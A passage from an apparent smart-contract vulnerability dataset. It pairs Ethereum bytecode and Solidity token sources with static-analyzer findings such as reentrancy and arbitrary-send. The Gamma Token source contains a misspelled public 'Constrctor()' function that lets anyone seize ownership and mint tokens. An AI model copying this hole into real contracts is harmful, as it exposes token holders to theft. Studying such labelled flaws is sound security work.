050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a9e7693f487e4836bbd0ccf8f347644f39f1e47ac0a7cfd66d855fcd8cbf50ee64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,425 |
0x7bb1e3424dd7ccfba46a55b659742112dfb503d5
|
pragma solidity 0.4.24;
// ----------------------------------------------------------------------------
// 'Gamma Token' token contract
//
// Deployed to : 0x1275Cf2D18dC290aF80EeD32ba1110f1b0d2b2BB
// Symbol : GAMA
// Name : Gamma Token
// Total supply: 750,000,000
// Decimals : 18
//
// Copyright(c) 2018 onwards VFTech, Inc. Australia (www.ExToke.com)
// Contract Designed with care by GDO Infotech Pvt Ltd, India (www.GDO.co.in)
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
using SafeMath for uint256;
function Constrctor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract GammaToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
using SafeMath for uint256;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value.div(buyPrice); // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(address(this).balance >= amount.mul(sellPrice)); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461013857806306fdde031461016f578063095ea7b3146101ff57806318160ddd1461026457806323b872dd1461028f578063313ce5671461031457806339b0bde91461034557806342966c681461035c5780634b750334146103a157806370a08231146103cc57806379c650681461042357806379cc6790146104705780638620410b146104d55780638da5cb5b1461050057806395d89b4114610557578063a6f2ae3a146105e7578063a9059cbb146105f1578063b414d4b61461063e578063cae9ca5114610699578063dd62ed3e14610744578063e4849b32146107bb578063e724529c146107e8578063f2fde38b14610837575b600080fd5b34801561014457600080fd5b5061016d600480360381019080803590602001909291908035906020019092919050505061087a565b005b34801561017b57600080fd5b506101846108e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610985565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a12565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a18565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b50610329610bca565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035157600080fd5b5061035a610bdd565b005b34801561036857600080fd5b5061038760048036038101908080359060200190929190505050610c1f565b604051808215151515815260200191505060405180910390f35b3480156103ad57600080fd5b506103b6610d76565b6040518082815260200191505060405180910390f35b3480156103d857600080fd5b5061040d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d7c565b6040518082815260200191505060405180910390f35b34801561042f57600080fd5b5061046e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d94565b005b34801561047c57600080fd5b506104bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f58565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b506104ea61124a565b6040518082815260200191505060405180910390f35b34801561050c57600080fd5b50610515611250565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056357600080fd5b5061056c611275565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ac578082015181840152602081019050610591565b50505050905090810190601f1680156105d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105ef611313565b005b3480156105fd57600080fd5b5061063c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061133a565b005b34801561064a57600080fd5b5061067f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611349565b604051808215151515815260200191505060405180910390f35b3480156106a557600080fd5b5061072a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611369565b604051808215151515815260200191505060405180910390f35b34801561075057600080fd5b506107a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ec565b6040518082815260200191505060405180910390f35b3480156107c757600080fd5b506107e660048036038101908080359060200190929190505050611511565b005b3480156107f457600080fd5b50610835600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506115a4565b005b34801561084357600080fd5b50610878600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c9565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108d557600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561097d5780601f106109525761010080835404028352916020019161097d565b820191906000526020600020905b81548152906001019060200180831161096057829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610aa557600080fd5b610b3482600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176790919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bbf848484611780565b600190509392505050565b600360009054906101000a900460ff1681565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c6f57600080fd5b610cc182600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176790919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d198260045461176790919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610def57600080fd5b610e4181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e9981600454611ad990919063ffffffff16565b6004819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610fa857600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561103357600080fd5b61108582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061115782600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ec8260045461176790919063ffffffff16565b6004819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561130b5780601f106112e05761010080835404028352916020019161130b565b820191906000526020600020905b8154815290600101906020018083116112ee57829003601f168201915b505050505081565b600061132a60085434611af790919063ffffffff16565b9050611337303383611780565b50565b611345338383611780565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000808490506113798585610985565b156114e3578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611473578082015181840152602081019050611458565b50505050905090810190601f1680156114a05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156114c257600080fd5b505af11580156114d6573d6000803e3d6000fd5b50505050600191506114e4565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b61152660075482611b1290919063ffffffff16565b3073ffffffffffffffffffffffffffffffffffffffff16311015151561154b57600080fd5b611556333083611780565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f193505050501580156115a0573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ff57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561177557fe5b818303905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156117a657600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156117f457600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad990919063ffffffff16565b1015151561189357600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118ec57600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561194557600080fd5b61199781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2c81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808284019050838110151515611aed57fe5b8091505092915050565b6000808284811515611b0557fe5b0490508091505092915050565b6000806000841415611b275760009150611b46565b8284029050828482811515611b3857fe5b04141515611b4257fe5b8091505b50929150505600a165627a7a72305820eb33d3a44d23d6d7a81ae6ab575b500c4f4581de6c3d314406618554ec7790ac0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,426 |
0x88218eb0756bca01a9f6be0c6eff641e9b4d8101
|
pragma solidity ^0.4.19;
/*
Created by Cogenero Blockchain Solutions Limited
*/
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
